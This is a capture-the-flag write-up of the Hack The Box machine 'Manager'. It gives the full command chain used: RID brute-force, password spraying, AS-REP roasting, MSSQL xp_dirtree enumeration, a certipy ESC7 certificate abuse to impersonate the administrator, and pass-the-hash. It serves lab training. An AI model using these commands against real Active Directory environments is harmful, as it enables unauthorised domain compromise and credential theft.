You are currently viewing HTB – Manager – Windows (Medium)

HTB – Manager – Windows (Medium)

  • Post category:Medium / Windows
  • Reading time:22 mins read

This time it will be a domain controller Windows machine, with MSSQL and some ADCS exploitation, which was very informative.

Initial scan

As usual we can start by scanning our target using nmap in order to get a list of open ports on the target machine.

Nmap scan report for 10.10.11.236
Host is up (0.023s latency).
Not shown: 65514 filtered tcp ports (no-response)

PORT      STATE SERVICE       VERSION

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Manager
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-07 17:18:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-07T17:19:31+00:00; +7h00m05s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-07T17:19:31+00:00; +7h00m06s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-07T17:15:05
|_Not valid after:  2054-03-07T17:15:05
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2024-03-07T17:19:31+00:00; +7h00m05s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-07T17:19:31+00:00; +7h00m05s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-07T17:19:31+00:00; +7h00m06s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49724/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m05s, deviation: 0s, median: 7h00m04s
| smb2-time: 
|   date: 2024-03-07T17:18:52
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar  7 11:19:26 2024 -- 1 IP address (1 host up) scanned in 200.42 seconds

As expected on a Windows machine, we have quite a few ports open but, in my opinion, there are a few that stands out in this case :

  • Port 80 : we have a website running using Microsoft IIS httpd version 10.0
  • Port 88 : Microsoft Windows Kerberos running
  • Port 445 : a SMB service
  • Port 1433 : a Microsoft SQL Server

We also got :

  • A domain name : manager.htb
  • A computer name : DC01

Initial foothold

As it is now the custom, our first step is to add the domain name to our /etc/file

echo -e "10.10.11.245\tmanager.htb" | sudo tee -a /etc/hosts

Enumeration

A quick look at the website

I like to start by having a look at the website first, as even if there is no entry point, it is not rare to get some more information about the target. We could stubble upon names, email addresses or any other data which could be useful later on. This website was not fruitful to us, we got nothing of it and I did not discover any subdomain or hidden folders.

SMB enumeration

The next potentially juicy target I like to go after is SMB, but first, we should confirm we can reach the service.

The result coming back verifies our previous data from nmap concerning the domain and computer name. This is a domain controller with :

  • OS Version : Windows 10.0 Build 17763 x64
  • Name : DC01
  • Domain : manager.htb

From here there are a few steps I like to do, I would like to enumerates users, shares and the password policy. I tried to enumerate users without any credentials and got no result without brute force. I found an open admin share named IPC$ on READ only using anonymous user but nothing in it we could list after connecting to it.

Since we got no result we could try to brute force the users, but first we try to get the password policy in place . We should always to do that because we could lock users account by trying to log-in too many times.

crackmapexec smb 10.10.11.236 -u 'a' -p '' --pass-pol

The previous command did not give us any result, but we can try something else to get a list of users with the following command to enumerate users by bruteforcing RID’s.

We got a list of users, a lot of them are defaults accounts but we can see other more interesting ones but, first, we should create a proper list.

Now we can do a bit of cleaning and keep only this list of potential users :

Administrator 
Guest 
krbtgt 
DC01$ 
DnsAdmins 
DnsUpdateProxy 
SQLServer2005SQLBrowserUser$DC01 
Zhong 
Cheng 
Ryan 
Raven 
JinWoo 
ChinHae 
Operator

Trying ASREP roasting

Since we have a list of users and no password we can try some ASREP roasting

sudo impacket-GetNPUsers -dc-ip 10.10.11.236 -no-pass -usersfile users.lst 'manager.htb'/

It failed, next step we are going to try some password spraying, keeping in mind that we can be locked out or lock users account when trying too many passwords. Therefore, we are going to try only one password per user, using his own user login as password.

Wonderful, we have 4 users and passwords, what I always try in this case is to check if we can get a shell using those credentials. We could use psexec or evil-winrm, but for this to succeed we need write access to some SMB shares. Sadly, in our case, we do not have this right, which means we need to find something else.

MSSQL

We can redirect our attention to another service, which is MSSQL, and try some of our previously obtain credentials. We got an access using the operator login and password.

Time for more enumeration, we got the databases names, tables, users. In our case we are guest so we won’t be able to perform much with our limited rights. My first go to is to check if xp_cmdshell is available to us to obtain a quick and easy reverse shell.

Use master;
EXEC sp_helprotect 'xp_cmdshell';

It is not the case here, we can not create file either. But we can list the content of the machine using xp_dirtree. After some enumeration I found the root directory of the current website being hosted on the target.

It appears that we missed an archive named website-backup-27-07-23-old.zip during our website enumeration, this seems promising, time to download the archive and inspect it.

Inside the archive we discover an file configuration file named .old-conf.xml which contains a password belonging to the user Raven. We can use this to get a shell on our target.

Privilege escalation

Enumeration

I usually prefer to start manually enumerating the machine before moving to automated scripts. The very first thing we do is look for Powershell history to not compromise it with our own command, then check if any antivirus is running. After that we move to more enumeration about the machine and our current user.

  • whoami /all : we notice here our user is part of the BUILTIN\Certificate Service
  • Look at the windows build to look for a known exploit
  • Other users and groups, from which we learn that only the user Administrator as admin rights
  • Start enumerate services
  • Check environment variables
  • Search for specific file extensions like .sql, .kdbx, .git, etc…
  • Watch out for scheduled tasks

I could not find anything, so we could switch to a more automated way and ran winpeas which is not telling me much more but again we see this :

Active Directory Certificate Services (AD CS)

I could not find a privilege escalation path and was starting to feel a bit stuck there, but the machine is giving some hints pointing to AD CS so it is time to learn about it. To resume AD CS is a Microsoft PKI (Public Key Infrastructure) implementation which provide :

  • Encryption
  • Integrity with digital signatures
  • Authentication by associating certificate keys with computers, users and devices accounts

The last point is very interesting, remember our user has access to the Certificate Service, maybe there is a way to exploit that and elevate our privilege this way.

There is a nice description of all the attacks you can perform against AD CS on HackTricks and the link to the initial white paper from the Specter Ops company. The white paper is pretty long, but there is a nice summary of the finding from the team on a Medium article.

We can also find the repository of a tool released by the authors called Certipy. We can use this tool to check for us if our target is vulnerable to one of those attacks, but first we need to make sure our clock is synchronized with the server to avoid any trouble.

# Synchronize clock
sudo ntpdate -u manager.htb
# Enumerating AD CS certificate templates
certipy find -u raven@manager.htb -p 'R4v3n**************' -dc-ip 10.10.11.236

The tool display the certificates and tells us the target should be vulnerable to the ESC7 attack, which, if it succeed, should give us admin rights. We can go back to the white paper and read about the description of the attack. From what I understand (feel free to correct me), if a user has ManageCA and ManageCertificates permissions, he remotely could :

  • Allow a SAN specification in any template using the ManageCA rights and request for a certificate, which would be denied because we are not Admin
  • Using ManageCertificates rights he can then resubmits a specific pending or denied certificate request to the CA. This would result in the pending or denied request to be approved

To perform all that we have three conditions :

  • ManageCA permission
  • Manage Certificates permission
  • SubCA (Certificate Template) must be enable

The trick is, if we have the ManageCA right, we can grant our-self the Manage Certificates permission and enable SubCA.

Vulnerable Certificate Authority Access Control Attack — ESC7

First, we grant our-self the Manage Certificates access right by adding our Raven user as a new officer since we have the ManageCA right.

certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3n**************'

Secondly we enable SubCA 

certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3n**************'

That way we can now list the templates

certipy ca -username raven@manager.htb -password 'R4v3n**************' -target manager.htb -ca 'manager-DC01-CA' -enable-template 'SubCA'

We have now fulfilled the prerequisites for this attack, the next step is to perform it. We start by requesting a certificate based on the SubCA template. It will be denied, as we do not have admin rights, but it does not matter because we are still going to get a private key and a request ID we need to write down.

certipy req -username raven@manager.htb -password 'R4v3n**************' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn administrator@manager.htb

Next, we issue the failed certificate request using the previously noted

certipy ca -ca "manager-DC01-CA" -issue-request <req ID> -username 'raven@manager.htb' -password 'R4v3n**************'

Finally we can get the administrator NT hash using the .pfx file to request a TGT ticket from Kerberos

# Get hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236

Anyway that would be the theory, because even though every command is correct when I tried to run it for the first time, it failed ! To be honest I am not really sure why. I did not see any warning about this for that specific attack in the white paper, but I may be wrong. My guess would be :

  • Some race condition in the tool
  • A time based problem with the certificates accessibility
  • It could simply be the Hack The Box machine which is doing some cleaning in the background, it would not be a first

The problem was occurring at random moments and not every time at the same command line, so I figured I would just try to stack all those commands into one and run it.

# One liner because I guess some race condition or the machine is doing some cleaning in the background
certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3n**************' && certipy ca -username raven@manager.htb -password 'R4v3n**************' -target manager.htb -ca 'manager-DC01-CA' -enable-template 'SubCA' && certipy req -username raven@manager.htb -password 'R4v3n**************' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn administrator@manager.htb && certipy ca -ca "manager-DC01-CA" -issue-request 14 -username 'raven@manager.htb' -password 'R4v3n**************' && certipy req -username 'raven@manager.htb' -password 'R4v3n**************' -ca "manager-DC01-CA" -target manager.htb -retrieve 14 && certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236

Amazingly, it succeeded on the first try this time !

We do not get the administrator password, but the NT hash is enough to perform a Pass The Hash attack, thus, allowing us to connect as administrator on the machine.

Congratulation, we did it !